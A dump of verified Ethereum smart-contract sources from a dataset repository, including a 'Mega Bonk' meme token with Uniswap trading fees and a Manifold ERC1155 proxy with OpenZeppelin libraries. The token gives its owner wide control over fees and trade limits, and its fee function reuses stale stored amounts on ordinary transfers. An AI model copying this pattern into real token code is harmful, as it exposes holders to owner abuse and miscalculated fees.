function owner() public view virtual returns (address) {
|
81 |
+
return _owner;
|
82 |
+
}
|
83 |
+
|
84 |
+
modifier onlyOwner() {
|
85 |
+
require(owner() == _msgSender(), "Ownable: caller is not the owner");
|
86 |
+
_;
|
87 |
+
}
|
88 |
+
|
89 |
+
function renounceOwnership() public virtual onlyOwner {
|
90 |
+
_setOwner(address(0));
|
91 |
+
}
|
92 |
+
|
93 |
+
function transferOwnership(address newOwner) public virtual onlyOwner {
|
94 |
+
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
95 |
+
_setOwner(newOwner);
|
96 |
+
}
|
97 |
+
|
98 |
+
function _setOwner(address newOwner) private {
|
99 |
+
address oldOwner = _owner;
|
100 |
+
_owner = newOwner;
|
101 |
+
emit OwnershipTransferred(oldOwner, newOwner);
|
102 |
+
}
|
103 |
+
}
|
104 |
+
|
105 |
+
interface IUniswapV2Factory {
|
106 |
+
function createPair(address tokenA, address tokenB) external returns (address pair);
|
107 |
+
function getPair(address tokenA, address tokenB) external view returns (address pair);
|
108 |
+
}
|
109 |
+
|
110 |
+
interface IUniswapV2Router02 {
|
111 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
112 |
+
uint amountIn,
|
113 |
+
uint amountOutMin,
|
114 |
+
address[] calldata path,
|
115 |
+
address to,
|
116 |
+
uint deadline
|
117 |
+
) external;
|
118 |
+
function factory() external pure returns (address);
|
119 |
+
function WETH() external pure returns (address);
|
120 |
+
function addLiquidityETH(
|
121 |
+
address token,
|
122 |
+
uint amountTokenDesired,
|
123 |
+
uint amountTokenMin,
|
124 |
+
uint amountETHMin,
|
125 |
+
address to,
|
126 |
+
uint deadline
|
127 |
+
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
128 |
+
}
|
129 |
+
|
130 |
+
contract SmartContract is Context, IERC20, Ownable {
|
131 |
+
|
132 |
+
using SafeMath for uint256;
|
133 |
+
mapping (address => uint256) private _tOwned;
|
134 |
+
mapping (address => mapping (address => uint256)) private _allowances;
|
135 |
+
mapping (address => bool) private _isExcludedFromFee;
|
136 |
+
mapping (address => bool) private _isExcludedFromMaxWalletSize;
|
137 |
+
|
138 |
+
string private constant _name = "Mega Bonk"; //
|
139 |
+
string private constant _symbol = "KABOOM"; //
|
140 |
+
uint8 private constant _decimals = 9;
|
141 |
+
|
142 |
+
uint256 public buyAutoLiquidityFee;
|
143 |
+
uint256 public buyAutoBurnFee;
|
144 |
+
uint256 public buyMarketingFee;
|
145 |
+
uint256 public totalBuyFees = buyAutoLiquidityFee + buyAutoBurnFee + buyMarketingFee;
|
146 |
+
|
147 |
+
uint256 public sellAutoLiquidityFee;
|
148 |
+
uint256 public sellAutoBurnFee;
|
149 |
+
uint256 public sellMarketingFee;
|
150 |
+
uint256 public totalSellFees = sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee;
|
151 |
+
|
152 |
+
uint256 public tokensForAutoLiquidity;
|
153 |
+
uint256 public tokensForAutoBurn;
|
154 |
+
uint256 public tokensForMarketing;
|
155 |
+
uint16 public masterTaxDivisor = 10000;
|
156 |
+
|
157 |
+
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
|
158 |
+
address public pairAddress;
|
159 |
+
|
160 |
+
IUniswapV2Router02 private uniswapV2Router;
|
161 |
+
address private uniswapV2Pair;
|
162 |
+
bool private tradingOpen = false;
|
163 |
+
bool private inSwap = false;
|
164 |
+
bool private swapEnabled = false;
|
165 |
+
uint256 private _tTotal = 1000000000 * 10 ** _decimals; //
|
166 |
+
uint256 private maxWalletAmount = 10000000 * 10 ** _decimals;
|
167 |
+
uint256 private maxTxAmount = 10000000 * 10 ** _decimals;
|
168 |
+
address payable private feeAddrWallet;
|
169 |
+
|
170 |
+
event MaxWalletAmountUpdated(uint maxWalletAmount);
|
171 |
+
|
172 |
+
modifier lockTheSwap {
|
173 |
+
inSwap = true;
|
174 |
+
_;
|
175 |
+
inSwap = false;
|
176 |
+
}
|
177 |
+
|
178 |
+
constructor () {
|
179 |
+
|
180 |
+
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
|
181 |
+
uniswapV2Router = _uniswapV2Router;
|
182 |
+
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
|
183 |
+
pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
|
184 |
+
feeAddrWallet = payable(0x6C4CBB4862252711dea50AFD5A30CeDc0430405C); //wallet
|
185 |
+
_tOwned[owner()] = _tTotal;
|
186 |
+
|
187 |
+
uint256 _buyAutoLiquidityFee = 500; //
|
188 |
+
uint256 _buyAutoBurnFee = 0; //
|
189 |
+
uint256 _buyMarketingFee = 0; //
|
190 |
+
uint256 _sellAutoLiquidityFee = 0; //
|
191 |
+
uint256 _sellAutoBurnFee = 0; //
|
192 |
+
uint256 _sellMarketingFee = 1500; // 1st hour sell tax to avoid early jeets
|
193 |
+
|
194 |
+
buyAutoLiquidityFee = _buyAutoLiquidityFee;
|
195 |
+
buyAutoBurnFee = _buyAutoBurnFee;
|
196 |
+
buyMarketingFee = _buyMarketingFee;
|
197 |
+
totalBuyFees = buyAutoLiquidityFee + buyAutoBurnFee + buyMarketingFee;
|
198 |
+
|
199 |
+
sellAutoLiquidityFee = _sellAutoLiquidityFee;
|
200 |
+
sellAutoBurnFee = _sellAutoBurnFee;
|
201 |
+
sellMarketingFee = _sellMarketingFee;
|
202 |
+
totalSellFees = sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee;
|
203 |
+
|
204 |
+
_isExcludedFromFee[owner()] = true;
|
205 |
+
_isExcludedFromFee[address(this)] = true;
|
206 |
+
_isExcludedFromFee[feeAddrWallet] = true;
|
207 |
+
_isExcludedFromMaxWalletSize[owner()] = true;
|
208 |
+
_isExcludedFromMaxWalletSize[address(this)] = true;
|
209 |
+
_isExcludedFromMaxWalletSize[feeAddrWallet] = true;
|
210 |
+
emit Transfer(address(0), owner(), _tTotal);
|
211 |
+
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
|
212 |
+
}
|
213 |
+
|
214 |
+
function openTrading() external onlyOwner() {
|
215 |
+
require(!tradingOpen,"trading is already open");
|
216 |
+
swapEnabled = true;
|
217 |
+
tradingOpen = true;
|
218 |
+
|
219 |
+
}
|
220 |
+
|
221 |
+
function name() public pure returns (string memory) { return _name; }
|
222 |
+
function getTxAmount() public view returns(uint256) {return maxTxAmount;}
|
223 |
+
function getMaxWallet() public view returns(uint256) {return maxWalletAmount;}
|
224 |
+
function symbol() public pure returns (string memory) { return _symbol; }
|
225 |
+
function decimals() public pure returns (uint8) { return _decimals; }
|
226 |
+
function totalSupply() public view override returns (uint256) { return _tTotal; }
|
227 |
+
function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; }
|
228 |
+
function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
|
229 |
+
function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
|
230 |
+
function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
|
231 |
+
|
232 |
+
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
|
233 |
+
_transfer(sender, recipient, amount);
|
234 |
+
|
235 |
+
uint256 currentAllowance = _allowances[sender][_msgSender()];
|
236 |
+
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
|
237 |
+
_approve(sender, _msgSender(), currentAllowance - amount);
|
238 |
+
return true;
|
239 |
+
}
|
240 |
+
|
241 |
+
function _approve(address owner, address spender, uint256 amount) private {
|
242 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
243 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
244 |
+
_allowances[owner][spender] = amount;
|
245 |
+
emit Approval(owner, spender, amount);
|
246 |
+
}
|
247 |
+
|
248 |
+
function _transfer(address from, address to, uint256 amount) private {
|
249 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
250 |
+
require(to != address(0), "ERC20: transfer to the zero address");
|
251 |
+
require(amount > 0, "Transfer amount must be greater than zero");
|
252 |
+
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
|
253 |
+
require(tradingOpen || _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading not enabled yet");
|
254 |
+
|
255 |
+
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
|
256 |
+
require(amount <= maxTxAmount, "Exceeds the _maxTxAmount.");
|
257 |
+
require(balanceOf(to) + amount <= maxWalletAmount, "Exceeds the maxWalletSize.");
|
258 |
+
}
|
259 |
+
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromMaxWalletSize[to]) {
|
260 |
+
require(amount + balanceOf(to) <= maxWalletAmount, "Recipient exceeds max wallet size.");
|
261 |
+
}
|
262 |
+
|
263 |
+
uint256 contractTokenBalance = balanceOf(address(this));
|
264 |
+
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
|
265 |
+
swapTokensForEth(contractTokenBalance);
|
266 |
+
uint256 contractETHBalance = address(this).balance;
|
267 |
+
if(contractETHBalance > 0) {
|
268 |
+
sendETHToFee(address(this).balance);
|
269 |
+
}
|
270 |
+
}
|
271 |
+
|
272 |
+
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
|
273 |
+
}
|
274 |
+
|
275 |
+
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
|
276 |
+
address[] memory path = new address[](2);
|
277 |
+
path[0] = address(this);
|
278 |
+
path[1] = uniswapV2Router.WETH();
|
279 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
280 |
+
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
281 |
+
tokenAmount,
|
282 |
+
0,
|
283 |
+
path,
|
284 |
+
address(this),
|
285 |
+
block.timestamp
|
286 |
+
);
|
287 |
+
}
|
288 |
+
|
289 |
+
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
|
290 |
+
_tOwned[sender] -= amount;
|
291 |
+
uint256 amountReceived = (takeFee) ? takeTaxes(sender, recipient, amount) : amount;
|
292 |
+
_tOwned[recipient] += amountReceived;
|
293 |
+
emit Transfer(sender, recipient, amountReceived);
|
294 |
+
}
|
295 |
+
|
296 |
+
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
|
297 |
+
if(from == uniswapV2Pair && totalBuyFees > 0 ) {
|
298 |
+
tokensForAutoLiquidity = (amount * buyAutoLiquidityFee) / masterTaxDivisor;
|
299 |
+
tokensForAutoBurn = (amount * buyAutoBurnFee) / masterTaxDivisor;
|
300 |
+
tokensForMarketing = (amount * buyMarketingFee) / masterTaxDivisor;
|
301 |
+
} else if (to == uniswapV2Pair && totalSellFees > 0 ) {
|
302 |
+
tokensForAutoLiquidity = (amount * sellAutoLiquidityFee) / masterTaxDivisor;
|
303 |
+
tokensForAutoBurn = (amount * sellAutoBurnFee) / masterTaxDivisor;
|
304 |
+
tokensForMarketing = (amount * sellMarketingFee) / masterTaxDivisor;
|
305 |
+
}
|
306 |
+
_tOwned[pairAddress] += tokensForAutoLiquidity;
|
307 |
+
emit Transfer(from, pairAddress, tokensForAutoLiquidity);
|
308 |
+
|
309 |
+
_tOwned[DEAD] += tokensForAutoBurn;
|
310 |
+
_tTotal = _tTotal - tokensForAutoBurn;
|
311 |
+
_tTotal = totalSupply();
|
312 |
+
emit Transfer(from, DEAD, tokensForAutoBurn);
|
313 |
+
|
314 |
+
_tOwned[address(this)] += tokensForMarketing;
|
315 |
+
emit Transfer(from, address(this), tokensForMarketing);
|
316 |
+
|
317 |
+
uint256 feeAmount = tokensForAutoLiquidity + tokensForAutoBurn + tokensForMarketing;
|
318 |
+
return amount - feeAmount;
|
319 |
+
}
|
320 |
+
|
321 |
+
function excludeFromFee(address account) public onlyOwner {
|
322 |
+
_isExcludedFromFee[account] = true;
|
323 |
+
}
|
324 |
+
|
325 |
+
function includeInFee(address account) public onlyOwner {
|
326 |
+
_isExcludedFromFee[account] = false;
|
327 |
+
}
|
328 |
+
|
329 |
+
function excludeFromMaxWalletLimit(address account) public onlyOwner {
|
330 |
+
_isExcludedFromMaxWalletSize[account] = true;
|
331 |
+
}
|
332 |
+
|
333 |
+
function includeInMaxWalletLimit(address account) public onlyOwner {
|
334 |
+
_isExcludedFromMaxWalletSize[account] = false;
|
335 |
+
}
|
336 |
+
|
337 |
+
function SetWalletandTxtAmount(uint256 _maxTxAmount, uint256 _maxWalletSize) external onlyOwner{
|
338 |
+
maxTxAmount = _maxTxAmount * 10 **_decimals;
|
339 |
+
maxWalletAmount = _maxWalletSize * 10 **_decimals;
|
340 |
+
}
|
341 |
+
|
342 |
+
function RervertSellFeesToOriginalTax() external onlyOwner {
|
343 |
+
//Revert to original sell tax
|
344 |
+
sellAutoLiquidityFee = 500;
|
345 |
+
sellAutoBurnFee = 0;
|
346 |
+
sellMarketingFee = 500;
|
347 |
+
totalSellFees = sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee;
|
348 |
+
}
|
349 |
+
function sendETHToFee(uint256 amount) private {
|
350 |
+
feeAddrWallet.transfer(amount);
|
351 |
+
}
|
352 |
+
|
353 |
+
receive() external payable{
|
354 |
+
}
|
355 |
+
}
|
organized_contracts/00/0002ef6c845e44817b19d0d8f31aa9b27cb84a54a3744d15182a9f0d2b47eda7/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"SmartContract","CompilerVersion":"v0.8.4+commit.c7e474f2","Runs":200,"OptimizationUsed":false,"BytecodeHash":"0002ef6c845e44817b19d0d8f31aa9b27cb84a54a3744d15182a9f0d2b47eda7"}
|
organized_contracts/00/000307085df1d6909ca18db2b2ff2437de8289f1e3075fc39b7b72929a1f9c1f/contract.json
ADDED
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"language": "Solidity",
|
3 |
+
"sources": {
|
4 |
+
"contracts/OBST.sol": {
|
5 |
+
"content": "\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @title: One-Bit-Story\n/// @author: manifold.xyz\n\nimport \"./ERC1155Creator.sol\";\n\n//////////////////////////////////////////////////////////////////////////\n// //\n// //\n// //\n// //\n// //\n// ]█████▄ ,██████ //\n// ,,,,, ███████▄ ▄██████▌ //\n// █████▌ ████████⌐ ▄████████ //\n// ▐█████ ▐█████████▄██████████ //\n// ██████▄▄▄▄▄▄█████▌▀███████'▐████ //\n// █████████████████ ▀████▀ █████ //\n// ▐█████▀▀▀▀▀▀█████▌ ▐████▌ //\n// █████▌ █████- ▀▀▀▀▀ //\n// ▐█████ ▄██████████████▄ ]█████ //\n// ▀▀▀▀▀▀ █████████████████▌ ▄▄▄▄▄` //\n// ▐█████` █████▌ █████ //\n// █████▌ █████ ▐████▌ //\n// █████ ▐█████ █████` //\n// ▐█████, ,█████▌ ▀▀▀▀▀ //\n// ▐█████████████████ //\n// ▀▀████████████▀▀ //\n// //\n// //\n// //\n// //\n//////////////////////////////////////////////////////////////////////////\n\n\ncontract OBST is ERC1155Creator {\n constructor() ERC1155Creator() {}\n}\n"
|
6 |
+
},
|
7 |
+
"contracts/ERC1155Creator.sol": {
|
8 |
+
"content": "\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @author: manifold.xyz\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/utils/StorageSlot.sol\";\n\ncontract ERC1155Creator is Proxy {\n\n constructor() {\n assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\n StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4;\n Address.functionDelegateCall(\n 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4,\n abi.encodeWithSignature(\"initialize()\")\n );\n }\n\n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view returns (address) {\n return _implementation();\n }\n\n function _implementation() internal override view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n } \n\n}\n"
|
9 |
+
},
|
10 |
+
"node_modules/@openzeppelin/contracts/proxy/Proxy.sol": {
|
11 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
|
12 |
+
},
|
13 |
+
"node_modules/@openzeppelin/contracts/utils/Address.sol": {
|
14 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
|
15 |
+
},
|
16 |
+
"node_modules/@openzeppelin/contracts/utils/StorageSlot.sol": {
|
17 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n}\n"
|
18 |
+
}
|
19 |
+
},
|
20 |
+
"settings": {
|
21 |
+
"remappings": [
|
22 |
+
"@openzeppelin/=node_modules/@openzeppelin/"
|
23 |
+
],
|
24 |
+
"optimizer": {
|
25 |
+
"enabled": true,
|
26 |
+
"runs": 300
|
27 |
+
},
|
28 |
+
"metadata": {
|
29 |
+
"bytecodeHash": "ipfs"
|
30 |
+
},
|
31 |
+
"outputSelection": {
|
32 |
+
"*": {
|
33 |
+
"*": [
|
34 |
+
"evm.bytecode",
|
35 |
+
"evm.deployedBytecode",
|
36 |
+
"devdoc",
|
37 |
+
"userdoc",
|
38 |
+
"metadata",
|
39 |
+
"abi"
|
40 |
+
]
|
41 |
+
}
|
42 |
+
},
|
43 |
+
"evmVersion": "london",
|
44 |
+
"libraries": {}
|
45 |
+
}
|
46 |
+
}
|
organized_contracts/00/000307085df1d6909ca18db2b2ff2437de8289f1e3075fc39b7b72929a1f9c1f/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"OBST","CompilerVersion":"v0.8.7+commit.e28d00a7","Runs":300,"OptimizationUsed":true,"BytecodeHash":"000307085df1d6909ca18db2b2ff2437de8289f1e3075fc39b7b72929a1f9c1f"}
|
organized_contracts/00/00038f4fd3934efaf913adef2788ffa2d3a720efea3c45d177e74c18da64cd6d/contract.json
ADDED
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"language": "Solidity",
|
3 |
+
"sources": {
|
4 |
+
"contracts/ERC721Creator.sol": {
|
5 |
+
